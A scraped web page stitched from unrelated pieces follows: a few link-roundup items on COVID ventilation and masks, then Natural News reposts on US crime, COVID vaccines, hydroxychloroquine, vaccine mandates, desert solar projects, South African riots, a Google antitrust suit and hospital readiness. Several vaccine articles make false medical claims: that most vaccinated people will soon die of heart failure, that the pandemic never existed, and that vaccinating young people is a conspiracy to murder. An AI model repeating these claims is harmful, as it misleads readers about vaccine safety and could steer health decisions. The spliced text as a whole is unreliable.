Strategies to minimize SARS-CoV-2 transmission in classroom settings: Combined impacts of ventilation and mask effective filtration efficiency (accepted manuscript) Science and Technology for the Built Environment (DG). Includes interesting material on the Badger Seal DIY mask fitter. Overall, the results indicate that use of mask fitters can significantly improve the observed [Effective Filtration Efficiency (EFE)]. Just in time for Delta? (Badger, because developed at the University of Wisconsin.)

* * *

Long COVID: More than a quarter of COVID-19 patients still symptomatic after 6 months Science Daily (PG).

Tennessee fires top vaccine official as COVID-19 shows signs of new spread Tennessean
I began my journalism career in Nashville in 1990, with my current position with Nashville Post having evolved since October 2000 (when I was with the now-defunct The City Paper, a sister publication of the Post starting in 2008).

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(Natural News) Every week the horrendous crime wave that is sweeping across America seems to get even worse. In some of our largest cities, looting, murder and violence are becoming a way of life, and authorities seem powerless to do anything about it. Is this what we can expect life in the United States to look like moving forward? All over the globe, people are watching us, and they are stunned by what they have been witnessing. Criminals are wildly out of control, and many of our largest cities are being transformed into extremely violent war zones.

(Article by Michael Snyder republished from EndOfTheAmericanDream.com)

For example, just check out what happened in Oakland over the weekend. According to Police Chief LeRonne Armstrong, his officers were completely overwhelmed by the level of violence and gunfire

The Fourth of July reeled into 12 hours of non-stop chaos Sunday night with several victims wounded by celebratory gunfire, a homicide and a massive sideshow marred by gunfire. The night culminated at the sideshow, where more than 200 participants pelted police officers with debris and flashed them with hand-held lasers. Embattled Oakland Police Chief LeRonne Armstrong told reporters that the level of violence and gunfire overwhelmed his officers.

Next door, the shoplifting epidemic in San Francisco has evolved into systematic looting.

Sadly, no retailer is immune. Even though Neiman Marcus has enthusiastically embraced a whole host of woke causes, criminals ruthlessly looted one of their stores in San Francisco on Monday

Looters were captured on video Monday ransacking a Neiman Marcus in San Francisco as thefts continue to plague businesses in the area. At least nine suspects smashed display cases, snatched handbags, and jetted out of the building before law enforcement arrived to the scene at about 6 p.m., according to footage. The suspects were seen running out of the store with their hands full of merchandise before entering an apparent getaway car that sped off down a busy intersection.

If you have not seen footage of the looters yet, you can watch it right here. This happened in broad daylight, and it is hard to believe that such scenes are actually happening in the United States of America.

At this point, the looting has gotten so bad that some major retailers are taking drastic actions

Walgreens shuttered 17 of its stores in the San Francisco area in the past five years, and the company said thefts in the area are four times more likely than anywhere else in the country as executives budgeted 35 times more for security personnel to guard the chains. Target executives in the city also decided to limit business hours in response to an uptick in larceny.

But unless they completely close up shop, the looting is going to continue.

Criminals in California have learned that if they keep the value of the merchandise they steal at each store to under $950, they wont be charged with a felony even if they are caught. So now we are witnessing a wave of retail theft that is unlike anything we have ever seen before

SF Police Lt. Tracy McCray pinned the blame on DA Chesa Boudin (whose parents were part of the radical and violent Weather Underground, and left two police officers dead during a botched heist). According to McCray, Boudins criminals first agenda is responsible for the uptick in crime. What happened in that Walgreens has been going on in the city for quite a while, McCray said in June. Im used to it. I mean, we could have a greatest hits compilation of people just walking in and cleaning out the store shelves and security guards, the people who work there, just standing by helplessly because they cant do anything.

Up in Portland, the street violence just continues to get even worse.

Earlier today, I was saddened to learn that a very generous man that had put up a pop-up swimming pool for the homeless during the heat wave had been viciously stabbed to death

A man whose ingenious pop-up swimming pool kept the homeless cool during the recent heat wave was fatally stabbed in the same spot just one day later, according to Portland police. Officers identified Tyson L. Morlock as the man who was found stabbed in the inner eastside Hosford-Abernethy neighborhood at Division Street and Southeast Martin Luther King Junior Boulevard around 3:37 a.m. on Thursday, July 1.

He tried to make Portland a better place, and now he is dead.

Of course so many people are being murdered these days that it is extremely difficult to keep up with all of the carnage.

In Chicago, this holiday weekend was the most violent weekend that we have seen in 2021 so far, and that is really saying something

Every July 4th weekend police in Chicago brace for an uptick in violence  even more than is usual when typical weekends average about 40 shootings  and this holiday weekend was no different, easily registering as the deadliest and most violent this year given the total death count. New York City has also been witnessing a steady uptick in seemingly random shootings and violence, including brazen acts committed in broad daylight in heavily trafficked areas, such as the recent Times Square wounding of a US Marine. On Monday the Chicago Sun-Times has tallied 92 people shot over the long July 4th weekend, with 16 killed. The Sun-Times database shows the numbers killed to be a weekend high for all of 2021 so far.

There are certain areas of Chicago that are essentially no go zones at this point, but of course the same thing could be said about the worst parts of many other major U.S. cities.

As I discussed the other day, it is being reported that murder rates in our largest cities were up by an average of 30 percent in 2020, and as of a few weeks ago they were up another 24 percent so far in 2021.

Ordinary citizens are begging our leaders to do something about this enormous wave of violence, but at this point nothing seems to be working.

If things are this bad now while the U.S. economy is in recovery mode, how bad will conditions get when the next severe downturn comes along?

It is heartbreaking to watch our society come apart at the seams all around us, and I have a feeling that what we have witnessed so far is just the beginning.

Read more at: EndOfTheAmericanDream.com and Collapse.news.
(Natural News) The vast majority of people who are getting injected for the Wuhan coronavirus (Covid-19) will die within a few short years from heart failure, warns Dr. Charles Hoffe, M.D., a medical practitioner in British Columbia, Canada.

In one of his latest updates, Dr. Hoffe explains that he is observing in his patients who took an mRNA (messenger RNA) vaccine from either Pfizer-BioNTech or Moderna that their capillaries are now plugging up, which he says will eventually lead to a serious cardiovascular event.

Chinese Virus mRNA shots are programmed to turn a persons body into a spike protein factory, and Dr. Hoffe says that over time these mass-produced spike proteins cause progressive blood clotting.

No fewer than 60 percent of people who take an mRNA injection will suffer from these blood clots  and in the end, an overwhelming majority will end up six feet under due to the damage caused.

We now know that only 25 percent of the vaccine injected into a persons arm actually stays in your arm, Dr. Hoffe explains one his blog.

The other 75 percent is collected by your lymphatic system and literally fed into your circulation so these little packages of messenger RNA, and by the way in a single dose of Moderna vaccine there are literally 40 trillion mRNA molecules.

Dr. Hoffe says that while these packages were designed by Big Pharma to be absorbed directly into peoples cells, the only place they can actually be absorbed is around the blood vessels and into capillary networks, which are the tiniest blood vessels where blood flow is slow and where genes are released.

Your body then gets to work reading and then manufacturing trillions and trillions of these spike proteins, he says.

Each gene can produce many, many spike proteins. The body then recognizes these are foreign bodies so it makes antibodies against it so you are then protected against COVID. Thats the idea.

mRNA injections insert spiky bits into blood vessels, eventually causing heart failure

Though the claim has long been that these spike proteins act as a deterrent to viral infection after being injected into a persons body, the reality is that they actually become part of the cell wall of a persons vascular endothelium.

This means that these cells which line your blood vessels, which are supposed to be smooth so that your blood flows smoothly now have these little spikey bits sticking out, explains Principia Scientific.

Dr. Hoffe says it is an inevitability that the injected will develop blood clots because as the vaccine-inserted spike proteins embed themselves within blood vessels and capillaries, blood platelets circulate around trying to fix the problem by creating increasingly more clots.

So, when the platelet comes through the capillary it suddenly hits all these COVID spikes and it becomes absolutely inevitable that blood clots will form to block that vessel, he writes.

Therefore, these spike proteins can predictably cause blood clots. They are in your blood vessels (if mRNA vaccinated) so it is guaranteed.

It turns out that these blood clots are different than the rare ones spoken about on the media that show up on CT scans and MRIs. These are microscopic and do not show up on tests, as they can only be detected using a blood test known as D-dimer.

Dr. Hoffe has been performing D-dimer tests on his mRNA vaccinated patients, which led him to discover that at least 62 percent of them have these microscopic blood clots.

The most alarming part of this is that there are some parts of the body like the brain, spinal cord, heart and lungs which cannot [regenerate], he says. When those tissues are damaged by blood clots, they are permanently damaged.

To learn more about the dangers and ineffectiveness of Chinese Virus injections, be sure to check out ChemicalViolence.com.

Sources for this article include:

Principia-Scientific.com

NaturalNews.com
(Natural News) Last week, Americas Frontline Doctors (AFLDS) came to speak in Kansas City, Missouri. AFLDS founder Dr. Simone Gold brought her message that COVID-19 is nothing to fear and that there are treatments available. At the start of the pandemic, she was fired after speaking out in support of anti-malaria medication hydroxychloroquine (HCQ).

(Article by Jessica Marie Baumgartner republished from TheEpochTimes.com)

At the time, President Donald Trump was praising the effectiveness of the drug, but shortly after, the FDA revoked emergency use authorization for it. Now, recent studies are confirming that Low-dose hydroxychloroquine combined with zinc and azithromycin was an effective therapeutic approach against COVID-19.

The Epoch Times interviewed Sarah Absher, a registered nurse who worked in the field for 8 years but quit this spring and decided to volunteer with AFLDS after what she witnessed. She expressed her passion for the medical freedom fight and offered previously unseen materials to support her claims.

She began by introducing herself: I love being a nurse and had the same concerns as Dr. Gold when we saw what was going on.

Absher worked through the pandemic up until March 17 of this year. She said she hoped that things would change after the election, but when the big vaccine push came, she knew she couldnt in good conscience stick with the common narrative on COVID-19: Part of our job is to gather informed consent. With these vaccine trials, theyre not offering informed consent. They say its safe for pregnant women but pregnant women were excluded from the trials.

Vaccine Talking Points

We all feel like we saw that things were not right. But physicians are all about reputation and with todays cancel culture. They [the patients] are looking at us and trusting what were saying. And there was this unspoken line at my job. If I had deviated from the narrative  thats why I left. When we received vaccine talking points.'

Absher also pointed out: Im not against vaccines. Ive gotten every vaccine you can get except this one. But the more they push it, the more it repels me. It just makes me realize that the public has a fundamental lack of understanding of what clinical trials are.

She explained the three long phases of clinical trials, which have not been finalized for the COVID-19 vaccines. Before Phase 1 there is animal testing. Then Phase 1 opens up trials for small groups of people where they are compensated for allowing themselves to be experimented on. Then in Phase 2, if animal testing or Phase 1 does not show serious issues, a larger group of people is tested. Finally, if that group does well, then Phase 3 goes forward to test even more people in hospitals with their consent. If issues are found during any of these phases, the drug must be perfected.

How do we go from that to just, were going to give this to people and if they have an adverse reaction, thats just that? Thats the story COVID. Its that everything has deviated from normalcy, especially the medical industry. Were seeing a lot of anecdotal evidence. We had a better system for collecting data. But we havent been careful now. I dont understand why theyre pushing so hard. If you look up FDA regulations, theyre not even following their own regulations. You cannot say something is safe while its still in clinical trials.

Changing Medical Standards

Absher described her frustration with how COVID-19 has been handled: At the very beginning of all this, we didnt know. But its okay to say we got it wrong. But doctors, especially young doctors, have trouble admitting when they make a mistake, and nurses, we often have to tell them to just be honest and admit it.

She explained why she left the profession: Our job as medical professionals is to reel in the terror. But with COVID they were encouraging it.

I wouldnt go back unless medicine changed. It needs to change.

Her experience with patients offers more perspective: [The] 2017-2018 flu season was the worst Ive ever seen. We were short-staffed. A lot of nurses and doctors got the flu even with a flu vaccine. And patients died. But come January, February 2020, none of my patients were dying. And I work in oncology with leukemia patients. We call them the canary in the coal mine patients because their immune systems are so weak.

Medicine Has Become Unrecognizable

Getting back to the use of controversial treatments like HCQ, she noted Its not just HCQ and ivermectin, but there are plenty of treatments that are encouraging. Whats so unique about COVID is that it didnt matter if the drug worked anymore. Medicine as a profession has become unrecognizable.

She then noted how this drove her to join AFLDS: You can be a darling of the left one day, but if you deviate, you get attacked the next. I know we need to hold ourselves to a higher standard because were dealing with peoples lives.

She pointed out that in India, when they stopped using anti-malarials [like HCQ], thats when the big spike hit with COVID. And when questioning why the First World is doing so poorly, but Africa is not, Africa is doing better because they take HCQ once a week to prevent malaria, so they had like no deaths.

The Cost of Speaking Out

When asked about how her family has handled her decision to leave nursing she said, My husband is incredibly supportive. He saw me go into a deep depression during COVID. I really thought people would see and things would change.

But unfortunately, not everyone is as supportive. My parents, they are 100 percent bought in. Theyre former government lawyers. In their minds, the government would never do anything wrong. Things got very divisive when the big vaccine push started. I havent spoken to my dad, and we were very close, since February. And I havent talked to my mom since March. Were at war.

Medical professionals like Absher who speak out against the narrative get canceled, and information about them gets censored. But she does hope that in coming forward, others will speak out.

Read more at: TheEpochTimes.com and MedicalTyranny.com.
(Natural News) The Biden regime continues to push Americans to get a COVID-19 vaccine as others not in government  but who would clearly like to run things  push for Americans to be forced to take them.

In recent days, the regime even floated the notion of sending teams door-to-door, ostensibly to educate unvaccinated Americans about why they should get the jab. Left unsaid is how, exactly, these teams would know who among us is and is not vaccinated.

Now the government is pushing for Americans to get vaccinated more quickly because there are new variants of the original virus  Lambda and Delta  emerging in Peru and the U.S. respectively.

If youre not vaccinated, you should be concerned, Dr. Anthony Fauci, the countrys leading immunologist, said during a Sunday interview on ABCs This Week.

We know from extensive experience, not only in our own country, here in the United States, but in other countries, that the vaccines that we are using work extremely well against the Delta variant, particularly in preventing advanced disease that would lead to hospitalization and likely death in some circumstances, he continued.

Thats the reason why were very concerned, is that we have some sort of a schism between some states and some areas that have a very low level of vaccination, which is really unfortunate because we want to make sure those people are protected for their own safety and their own life, but that of their family in their community, Fauci added.

But according to a report in The New York Times, current U.S.-made vaccines are not effective against this Delta variant:

The researchers looked at blood samples from 103 people who had been infected with the coronavirus. Delta was much less sensitive than Alpha to samples from unvaccinated people in this group, the study found.

One dose of vaccine significantly boosted the sensitivity, suggesting that people who have recovered from Covid-19 still need to be vaccinated to fend off some variants.

The team also analyzed samples from 59 people after they had received the first and second doses of the AstraZeneca or Pfizer-BioNTech vaccines.

Blood samples from just 10 percent of people immunized with one dose of the AstraZeneca or the Pfizer-BioNTech vaccines were able to neutralize the Delta and Beta variants in laboratory experiments. But a second dose boosted that number to 95 percent. There was no major difference in the levels of antibodies elicited by the two vaccines.

A single dose of Pfizer or AstraZeneca was either poorly or not at all efficient against Beta and Delta variants, the researchers wrote.

So its like this: Fauci is pushing Americans to continue to get vaccinated, in particular, to guard against this new variant, but research (doesnt he get this stuff too?) indicates that the vaccines he is pushing everyone to get are not effective against the new strain.

Not everyone is out of their minds on this. Former NY Times correspondent, author, and COVID-19 data tracker Alex Berenson knows whats going on.

A reminder: area under the curve is what matters for efficacy. Judging vaccines on two good months (or two bad weeks post-first dose) is a mistake. We are nowhere near knowing how well and how long these work. Which is why they shouldnt be mandated. That, and the side effects, noted the researcher over the weekend.

But mandates are what others are pushing (and honestly Fauci would order it if he could).

It is time to impose vaccine mandates and passports. The Covid-19 vaccines continue to perform extraordinarily well, but the rate of infection is worsening in unvaccinated populations. The Delta variant is offering a sobering reminder that the pandemic has faded in much of the country but certainly not ended, CNN political analyst Julian Zelizer argued last week in a column.

This vaccine mandate madness is not conducive to a free country.

Sources include:

CNN.com

NYTimes.com

BizPacReview.com

Vaccines.news
(Natural News) President Joe Biden has made mitigating climate change one of the top priorities of his administration. That meant focusing on meeting pollution reduction goals and greenlighting massive solar development projects.

In fact, the president approved one such project, called the Crimson Solar Project, last month. It will stretch across 2,500 acres of public lands in the desert of Southern California. It is expected to provide enough electricity to power 85,000 homes. But theres one problem: The desert is not a barren wasteland.

The desert is an undeveloped ecosystem, said Steven Grodsky, co-founder of the Wild Energy Initiative. Anytime there is a major disturbance in an ecosystem that has a generally low frequency of natural disturbance, you might shake things up a bit, he added.

Grodsky, who is also an assistant professor of natural resources and the environment at Cornell University, has spent years studying how solar projects could affect soil, plants and animals in the Mojave and Sonoran deserts. Some of his studies have been published. However, more is needed to better understand how large-scale solar projects threaten desert ecosystems.

The governments greenhouse gas reduction goals require aggressive buildouts of clean energy infrastructures, said Grodsky. This is a good thing in the sense that we can tap into energy sources apart from fossil fuels. This also gives environmentalists an opportunity to guide the sustainable development of these renewable energy infrastructures, he added.

[To] do that, well need to better understand how solar developments may affect various plants and animals.

Solar development could disturb habitats, harm animals

Life in the desert is slow. For instance, an earlier study led by Grodsky showed that nearly a decade after a site was mowed in preparation for development, some desert plants like cacti and Mojave yucca still hadnt recovered. Other plants, like creosote bushes, were able to recover but only after a few years.

Desert animals are also slow-moving, such as the desert tortoise, which seems to represent the pace of life in a desert. However, the desert tortoise is just one of many animals that may be severely affected by solar projects in the desert.

Things that come with development, including off-road vehicles and livestock grazing, have greatly devastated desert tortoises, which spend a large chunk of their century-long lifespan in burrows. In fact, this combination of threats has led to the Mojave desert tortoise being listed as threatened under the Endangered Species Act.

Bulldozers and fences may also severely impact the habitats of other desert animals, such as kit foxes, iguanas, burrowing owls and kangaroo rats, as well as hundreds of rare plant species.

Grodsky is conducting a study on federal land run by the Bureau of Land Management in the Riverside East Solar Energy Zone. The area has been set aside for large-scale solar development. Grodsky said they are working to better understand how future solar facilities might affect how animals use the burrows.

Grodsky has also been studying the interactions between pollinators and desert plants in other regions with solar development projects. What he has found so far is that solar development is likely affecting the soil. (Related: Installing solar panels on pastures boosts land productivity, study finds.)

Consequently, changes in soil health are affecting where and how Mojave milkweed can grow. Some species of butterflies favor this plant for laying their eggs on. Caterpillars from these butterflies like to eat Mojave milkweed as well. Without the Mojave milkweed, the butterflies would likely disappear as well.

The more intensive the disturbance of desert soils and plants, the more you open up an opportunity for invasive plant species to colonize the area, said Grodsky.

In other words, solar development projects could inadvertently eradicate native plant species while causing invasive ones to proliferate.

Therefore, how sites are prepared for solar projects can make a difference in their ecological impacts. Grodsky said now is the time for researchers in the ecological community to do their part. This entails conducting further studies to better understand desert ecosystems and to ensure that solar project developers are informed about the possible ecological effects of their projects.

However, this will take buy-in from developers, incentives, policies and funding.

Learn more about the environmental impacts of large-scale solar power projects at Environ.news.

Sources include:

EcoWatch.com

WSJ.com

Nature.com
(Natural News) The world seemed a much quieter, calmer place when Donald Trump was president, highlighted by the fact that while there was still conflict, his administration managed to help historic enemies make peace  in the Balkans and in the restive Middle East.

As freedom protests erupt in Cuba and police there begin to clamp down in an effort to protect the ruling, tyrannical Communist regime, violence of a different sort is raging in South Africa, where race-related troubles have simmered and, at times boiled over, in recent years.

Notes The Epoch Times:

Authorities in South Africa said that rioting and looting continued on Tuesday, with the death toll rising to 32 as the military and police have struggled to deal with the violence across KwaZulu-Natal and Gauteng provinces.

The violence appeared to have been sparked by former President Jacob Zumas arrest for being in contempt of court, starting with protests over the decision. That later turned into looting and rioting, as video footage showed agitators and rioters blocking traffic and setting vehicles and buildings on fire.

Not that the former white-dominated Apartheid government was a good thing, but South Africa was at least stable then  so much so that the government managed to develop a handful of nuclear weapons all on its own and without the world knowing it. The only reason it became known was because the outgoing Apartheid government acknowledged that it had such weapons and turned them over to be dismantled.

A later report from the New York Post put the death toll at more than 45.

Shocking videos showed hundreds of people swarming through shopping districts and climbing up through almost completely empty shelves. Some malls were even torched, the report said.

And as in America, there are South Africans who view the violence and destruction with disdain.

So uneccesary. So uncalled for, said one person said as they took videos of burning cars in the street and shopping areas that were absolutely destroyed.

KwaZulu-Natal premier Sihle Zikalala said many of the deaths occurred as people got trampled underfoot while scores of South Africans raced to loot, steal, and burn.

Yesterdays events brought a lot of sadness. The number of people who have died in KwaZulu-Natal alone stands at 26. Many of them died from being trampled on during a stampede while people were looting items, said Zikalala on Monday.

No amount of unhappiness or personal circumstances from our people gives the right to anyone to loot, vandalize, and do as they please and break the law, added Police Minister Bheki Cele at a news conference.

In one remarkable video, armed civilians, many of whom are white, fire upon rioters along a major thoroughfare.

WATCH: Armed citizens open fire on rioters in Durban, South Africa.pic.twitter.com/vfZVEHQteV  Election Wizard (@ElectionWiz) July 12, 2021

There were many other instances of similar violence as civilians took it upon themselves to protect their lives and their property from rioting  so much so, in fact, that South African President Cyril Ramaphosa said he would be deploying the countrys military in a bid to restore order following the days of violence, The Epoch Times added.

We will not hesitate to arrest and prosecute those who perpetrate these actions and ensure they face the full might of the law, Ramaphosa told his citizens in a national address on Monday. It is this rule of law that enables our society to function and our economy to develop in the interests of the people of South Africa.

But its not completely the fault of the people, per se: Unemployment in South Africa is at dire proportions, with nearly 33 percent of the available workforce jobless.

That has added the sense of hopelessness and desperation, reports said.

Still, Police Minister Bheki Cele declared that no one could be permitted to make a mockery of our democratic state.

No amount of unhappiness or personal circumstances from our people gives the right to anyone to loot, he said.

Sources include:

NYPost.com

TheEpochTimes.com

Pandemic.news
(Natural News) Three dozen states and the District of Columbia sued Google on Wednesday, July 7, alleging that the company illegally abused its power over the sale and distribution of apps through the Google Play store on mobile devices.

State attorneys general said in a complaint filed in California federal court that Google used anticompetitive tactics to thwart competition and ensure that developers have no choice but to go through the Google Play store to reach users. In their complaint, the states alleged that Google controls 90 percent of the market for Android apps, and no other Android app store has more than a 5 percent market share.

According to the complaint, Google does not allow other app stores to be downloaded from its Google Play Store, which comes preinstalled on all Android smartphones; refuses to let other app stores buy advertising on its search engine or popular video streaming platform YouTube; has taken steps to keep Samsung, whose devices account for about 60 percent of U.S. Android smartphones, from gaining ground with its Samsung Galaxy Store; and has paid app developers to prevent them from removing their app from its Play Store and encouraging customers to directly download updates.

Antitrust crusade moves on following first major setback

The antitrust case has opened a new front in regulators attempts to rein in the tech giant. Google is also facing a suit that the Department of Justice and 14 states filed in October last year. It was focused on Googles efforts to dominate the mobile search market. Another case filed by 38 states and territories in December also focused on search. A third suit filed by 15 states and territories was about Googles power over advertising technology.

The new case was filed just nine days after the antitrust crusade suffered its first major setback. A federal judge in Washington dismissed the Federal Trade Commissions antitrust suit against Facebook on the grounds that the agency failed to offer enough evidence that the worlds largest social network is a monopoly.

That case accused Facebook of illegally crushing competition by buying Instagram and WhatsApp because it saw them as threats to its business. The judge said the states waited too long to challenge the acquisitions. (Related: Free-market conservatives are wrong: It will take federal government action to break up the monopolies of Google and Facebook.)

New York is leading the latest case against Google, along with Utah, North Carolina and Tennessee, Arizona, Colorado, Iowa and Nebraska.

Google has served as the gatekeeper of the internet for many years, but more recently, it has also become the gatekeeper of our digital devices  resulting in all of us paying more for the software we use every day, New York Attorney General Letitia James said in a statement.

Utah Attorney General Sean Reyes said Googles conduct led to inflated costs for consumers who made purchases through apps. Googles monopoly is a menace to the marketplace, Reyes said.

The bipartisan group of state attorneys general filed the case in the same court as those other app store lawsuits. It will be heard by the same judge, James Donato, who has scheduled a trial in Epics suit against Google for April 2022.

Google accuses state attorneys general of favoring others

The company said the lawsuit gets it wrong by limiting the definition of the app marketplace to Android devices and ignoring that Google competes with Apple Inc. for developers and consumers.

We dont impose the same restrictions as other mobile operating systems do, Googles Senior Director of Public Policy Wilson White said in a blog post. So its strange that a group of state attorneys general chose to file a lawsuit attacking a system that provides more openness and choice than others.

Googles Play Store is the default app store on Android phones, although users of those devices can also download apps from stores operated by companies like Amazon or Samsung. That differs from the setup on iPhones, where Apples App Store is the only place where users are allowed to obtain apps.

The new case is the latest challenge to the tech giants plan to force all app developers who use its Google Play Store to pay a 30 percent commission on sales of digital goods or services.

While Google has long had a policy that app developers must use its payment system for purchases made through the Play Store, the company has only loosely enforced the rule. Last year, the company said it would start enforcing its payment rules this coming September.

Companies like Netflix, Spotify and Match Group, which have bypassed Googles commissions, did not like it.

At a Senate hearing in April, Google said its commissions are in line with what others in the industry charge and help fund developer tools and updates to the Android ecosystem. Android also allows users to use multiple app stores or download apps directly from a developers website, a technique known as sideloading.

This lawsuit isnt about helping the little guy or protecting consumers, the company said. Its about boosting a handful of major app developers who want the benefits of Google Play without paying for it.

Google has sought to quell some of the unhappiness by lowering commissions to 15 percent on the first $1 million in sales, which mirrors the small business program introduced by Apple in 2020.

Follow BigTech.news for more on companies such as Google and Facebook.

Sources include:

Politico.com

Bloomberg.com
(Natural News) Many hospitals in the U.S. were overwhelmed with the volume of patients who contracted the Wuhan coronavirus (COVID-19) during the pandemics early days. But a new study found that hospitals across the country may not be adequately prepared for the next pandemic. The study, which looked at data spanning a 10-year period, also found that medical facilities only had marginal improvements to their systems to handle future patient surges.

Researchers from the University of Maryland School of Medicine (UMSOM) and University of Maryland Medical Center (UMMC) authored the study, which was published July 2021 in the Journal of Healthcare Management. They first developed a tool called the Hospital Medical Surge Preparedness Index (HMSPI) to predict how well a hospital can handle a sudden influx of patients. The index took four factors into consideration  staff, supplies, space and systems.

The researchers then looked at data from the annual surveys conducted by the American Hospital Association (AHA) on more than 6,200 hospitals nationwide. The AHA surveys were done from 2005 to 2014. Aside from AHA survey data, the researchers also looked at data from the U.S. Census Bureau and the Dartmouth Atlas Project to find out population estimates and hospitals geographic service areas.

Finally, the researchers combined hospital metrics from the annual AHA surveys with the geographic data to calculate HMSPI scores for hospitals in each state. They found varying levels of increases in HMSPI from 2005 to 2014 in every state, indicating better preparedness to handle a medical surge on a yearly basis. They also discovered based on the scores that prior to the COVID-19 pandemic, ideal hospital readiness had not been achieved in any state.

Lead study author and UMMC Chief Clinical Officer Dr. David Marcozzi described his teams paper: Our work links objective healthcare data to a hospital score that assesses the ability to save lives in a disaster. It attempts to fill a glaring gap in the national conversation on the need for improved assessments and the opportunity for better hospital planning to assure readiness.

Marcozzi added: The COVID-19 pandemic demonstrated that there is still plenty of room for improvement in the ability of our nations healthcare system to triage and manage multiple parents in a crisis. Our research is dedicated to those who lost their lives in this tragedy and other mass casualty events. We can do better.

Hospitals can do better when it comes to medical surges

UMSOM Dean Dr. E. Albert Reece said: The COVID-19 pandemic taught us that we need to be better prepared for the unexpected crisis. Having an important metric like the HMSPI could be a game-changer that ultimately saves lives during a surge by helping hospitals identify and fix their vulnerabilities.

Such a metric would have helped New York City deal with a surge of hospitalized patients due to COVID-19. During the early weeks of the pandemic, hospitals in the city felt the pressure with 4,000 patients being sent to medical facilities. In early April 2020, ABC 7 shared footage taken from the Mount Sinai Queens hospital that showed its emergency room filled to the brim with COVID-19 patients.

On a regular hospital day, the hospital halls would be empty and neat. However, the footage showed COVID-19 patients filling the halls  illustrating the gravity of the situation. New York Gov. Andrew Cuomo said that time that such a scenario was just the beginning.

New York City later saw more than 24,000 COVID-19 fatalities during the first wave of the pandemic, which occurred in the spring. A December 2020 NPR report said that medical workers in the city learned the lesson hard way when hospitals became overwhelmed. Despite health workers learning more about COVID-19 as the months passed, many remained nervous about how hospitals are prepared for another surge.

Dr. Laura Iavicoli of the New York City Health and Hospitals Corporation said that time: I think theres a lot of anxiety about doing this a second time. She added that while some of her colleagues at Elmhurst Hospital in Queens would soldier on, the anxiety and so-called COVID fatigue are undeniable. The increase is definitely typical in [the] flu season, but knowing that we have just entered upon the second wave [of COVID-19[ and predicting what is to come, were a little even more cognizant than normal to make sure we leave capacity in all of our facilities, she said.

However, other workers lamented about undergoing the same experience once more as some hospital administrators have not done enough to apply the lessons from March and April 2020. Critical care nurse Michelle Gonzales, who works at Montefiore Medical Center in the Bronx, said: Were scared. Were afraid were going to have to go through this again.

Visit Pandemic.news to read more articles about hospitals being prepared for sudden surges of COVID-19 patients.

Sources include:

EurekAlert.org

ABC7NY.com

NPR.org
(Natural News) UPDATE: Just received this from an accomplished highly intelligent attorney I have known for many years:

I have just spent 10 hours a day In the hospital with my son since July 2, he is now stable but essentially went into A Fib they cannot fix now because of a clot (vaccine induced I am sure) after being sick 10 days following his second Pfizer shot. Its too much to go into now, we almost lost him. Hes 32. No history of hypertension or heart problems. Vegetarian.

(Article by Paul Craig Roberts republished from PaulCraigRoberts.org)

It is happening all over. See, for example, this: https://childrenshealthdefense.org/defender/teen-heart-condition-pfizer-covid-vaccine-fabio-berlingieri-fox-friends/

There are a huge number of cases of life-threatening reactions to the safe vaccine, especially among the young. Yet the social media nazis and google continue to deplatform those who give the alarm. That part of the medical profession that blindly without thought follow the Big Pharma guidelines issued by NIH, FDA, CDC, and WHO are accomplices to murder.

The idiot people overcome by orchestrated fear have ruined the health of a large percentage of the population.

In this 25 minute video Dr. Ryan Cole explains the adverse impact on the human body of the spike protein that is characteristic of both the Covid virus and the vaccine. Most people are not in serious danger from the virus. These people should not expose themselves to the danger of the vaccine.

https://www.lewrockwell.com/2021/07/no_author/a-critique-of-mrna-vaccines/

The failure of public health authorities to treat Covid with known safe inexpensive treatments enabled the generation of fear and panic that supported mass vaccination with an untested and unapproved experimental technology. This primarily benefited Big Pharmas profits and government encroachments on civil liberty and has harmed public trust in government and health authorities.

The vaccine adverse reporting system, which at best captures only 10% of vaccine-induced injuriesshows more death and injuries from the experimental Covid vaccine than from all vaccines combined over the past 30 years. Never before in history has a vaccine with such a high death and injury rate been permitted to be administered.

The facts have been kept from the people. Big Pharma has enough scientists on its payroll and supported by its research grants that their careers force them to serve as advocates for Big Pharmas agendas. The presstitutes follow the hired scientists, not the independent ones. The American medical profession in general lost its independence because of Obamacare. After Obamacare hospitals bought up independent practices. One consequence has been the reliance of doctors on NIH, CDC, FDA, WHO guidelinesguidelines heavily influenced by Big Pharmas interestsinstead of thinking for themselves about how to treat patients. As so many medical practitioners are employees of large organizations, relying on official guidelines is a form of protection. In other words, Obamacare produced more bureaucratization of medicine.

It is the doctors and scientists who think for themselves who have devised the cures for Covid and who have raised the questions of the vaccines safety. As they are individuals and not large official organizations, they are outgunned by the material interests of the organized groups.

In place of debate and examination of the data there is the suppression of the evidence. Doctors and scientists who raise issues are censored and deplatformed. A recent example is the resignation of scientists on the board of the professional journal Vaccines to force retraction of a peer-reviewed article that compared deaths from Covid with deaths from the vaccine. Some who resigned were involved in the development of the Oxford-AstraZeneca vaccine or had research grants from Big Pharma. They claimed the article was faulty because it assumed all deaths following vaccination were caused by the vaccine. Of course, these same scientists did not complain when all deaths from flu, co-morbidites, and all other causes were attributed to Covid in order to create fear in the public that would cause people to line up for the untested experimental vaccine.

https://www.sciencemag.org/news/2021/07/scientists-quit-journal-board-protesting-grossly-irresponsible-study-claiming-covid-19?utm_source=Nature+Briefing&utm_campaign=3808e4fcab-briefing-dy-20210706&utm_medium=email&utm_term=0_c9dfd39373-3808e4fcab-45926126

Even the inventor of the mRNA technology that is used in the vaccine has been erased for warning of the dangers of the technology. https://www.lewrockwell.com/2021/07/joseph-mercola/mrna-vaccine-inventor-erased-from-history-books/

In the United States today there is no longer any debate or examination of evidence. In universities, in print and TV media, and among scientists funded by interest groups and government, there is no debate. There is an official narrative and everything else is off-limits.

This is how we got a Covid pandemic, which never existed, and this is how we got half the population injected with an experimental technology about which scientists were mistaken. The spike in the vaccine has not remained at the point of injection but against expectations moves throughout the body, concentrating in the ovaries, causing blood clots, spontaneous abortions, and heart inflammation and death among the young never threatened by Covid.

This message cannot get out because so many scientists are owned by Big Pharma, because there is no integrity and independence in the media, because public health authorities have a revolving door with Big Pharma and legislators election campaigns are dependent on Big Pharmas contributions.

The virus is mainly dangerous to elderly people with co-morbidities and impaired immune systems. The current push to force vaccination on children and young adults in the face of the massive evidence that the vaccine is more dangerous to them than the virus is nothing short of a conspiracy to murder. It proves beyond all doubt that the agenda being served is not a public health agenda.

Read more at: PaulCraigRoberts.org and VaccineInjurynews.com
